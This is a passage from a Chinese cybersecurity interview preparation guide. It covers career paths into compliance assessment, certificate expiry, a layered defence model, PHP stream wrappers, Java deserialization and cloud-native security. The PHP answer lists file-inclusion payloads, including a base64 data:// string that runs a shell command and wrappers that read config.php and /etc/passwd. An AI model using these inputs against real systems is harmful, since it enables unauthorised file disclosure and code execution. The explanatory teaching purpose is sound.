| 女生想从事安全方向 | 偏文职类工作,对体力要求低 |
| 渗透测试入行困难者 | 可作为进入安全领域的切入点 |
| 沟通能力强的人 | 工作涉及大量客户沟通和文档撰写 |
(3)所需素质
- 耐心 --- 测评工作需要细致和耐心
- 抗压能力 --- 面对客户和项目压力
- 自主学习能力 --- 不断学习新标准、新要求
- 执行力 --- 能按时完成测评任务
(4)职业发展路径
等保测评师(入门)
↓
安全服务工程师(积累经验)
↓
渗透测试工程师(深入技术)
↓
安全专家/架构师
(5)建议
- 如果缺乏实操经验无法直接做渗透测试
- 等保测评师是一个不错的切入点和跳板
面试题30:证书过期是否会影响求职?
考察点: 职业发展认知
参考答案:
(1)核心观点
- 证书过期并不直接影响找工作
- 这不是求职的硬性障碍
(2)具体情况分析
| 场景 | 影响 |
|---|---|
| 个人能力证明 | 不影响 --- 写在简历上完全没问题 |
| 企业承接项目 | 可能影响 --- 某些项目要求有效证书 |
| 资质审核 | 视企业而定 --- 不是所有企业都要求 |
(3)关键结论
- 证书只是辅助证明,实际技术能力和项目经验才是关键
- 面试时重点展示的是你会什么、做过什么
- 证书过期更多是企业项目需求的问题,不是个人能力问题
(4)建议
- 如果证书过期,可以注明"已通过考试,证书过期"
- 或者说明"具备该证书同等水平的知识储备"
- 不要因为没有有效证书就放弃投递简历
面试题31:请描述网络安全的三层防护措施。
考察点: 安全体系理解
参考答案:
(1)三层架构
第一层:立即处置(应急响应层)
↓
第二层:后期维护(持续运维层)
↓
第三层:合规性维护(合规治理层)
(2)各层详解
第一层:立即处置
- 应对入侵事件的快速响应
- 应对勒索软件的应急处置
- 应对高危漏洞的即时修复
- 关键:速度和准确度
第二层:后期维护
- 确保系统长期安全
- 持续监控和安全运营
- 定期安全评估和渗透测试
- 关键:持续性和全面性
第三层:合规性维护
- 落实等保五级要求
- 持续符合数据安全法规
- 满足行业合规标准
- 关键:规范性和可审计性
(3)实际意义
- 三层防护构成了完整的安全体系
- 从"应急"到"运维"到"合规",层层递进
- 缺任何一层,安全体系都不完整
五、综合技术类(共3题)
面试题32:请解释PHP伪协议和Java序列化,以及它们为什么是安全重点?
考察点: 安全知识广度
参考答案:
(1)PHP伪协议
- PHP内置的多种流封装协议
- 常用于文件包含漏洞利用
常见协议:
| 协议 | 作用 | 典型利用 |
|---|---|---|
php://filter |
读取文件内容 | php://filter/convert.base64-encode/resource=config.php |
php://input |
读取POST数据 | 配合文件包含执行任意代码 |
data:// |
执行数据流 | data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+ |
file:// |
读取本地文件 | file:///etc/passwd |
(2)Java序列化/反序列化
序列化: 将Java对象转换为字节序列(可存储/传输)
反序列化: 将字节序列恢复为Java对象
安全风险:
- 反序列化时,如果数据来自不可信源
- 攻击者可以构造恶意序列化数据
- 触发对象构造方法中的危险操作
- 导致远程代码执行
(3)所有语言的序列化本质
所有语言的序列化本质相同:
- 序列化 = 对象 → 可存储/传输的格式
- 反序列化 = 格式 → 还原为对象
Python示例:
python
import json
import pickle
# JSON序列化(安全)
data = {"name": "admin", "role": "user"}
json_str = json.dumps(data) # 序列化
obj = json.loads(json_str) # 反序列化
# Pickle序列化(不安全)
pickle_bytes = pickle.dumps(data) # 序列化
obj = pickle.loads(pickle_bytes) # 反序列化
(4)推荐学习路径
- 先搞定PHP和Docker --- 打好基础
- 再补Java序列化知识 --- 深入安全领域
- 理解云原生安全 --- 顺应发展趋势
面试题33:什么是云原生安全?为什么越来越重要?
考察点: 行业趋势理解
参考答案:
(1)定义
云原生安全是指在云原生架构(容器、微服务、Kubernetes等)中实施的安全措施和最佳实践。
(2)核心领域
| 领域 | 说明 |
|---|---|
| 容器安全 | 镜像扫描、运行时安全、容器逃逸防护 |
| 编排安全 | Kubernetes RBAC、网络策略、Pod安全策略 |
| 微服务安全 | 服务间认证、API网关、mTLS |
| 供应链安全 | CI/CD安全、镜像签名、依赖扫描 |
(3)为什么越来越重要
技术趋势:
- 企业大量上云,云原生成为主流
- 传统边界安全模型失效
- 容器化部署带来新的攻击面
行业变化:
- 去年该课程被砍掉
- 但随着云计算普及,今年可能会重新加入课程体系
- 说明行业对云原生安全的需求在增长
(4)基础要求
- 掌握容器技术(Docker/Podman)是学习云原生安全的基础
- 建议系统学习相关课程
- 利用暑假提前练习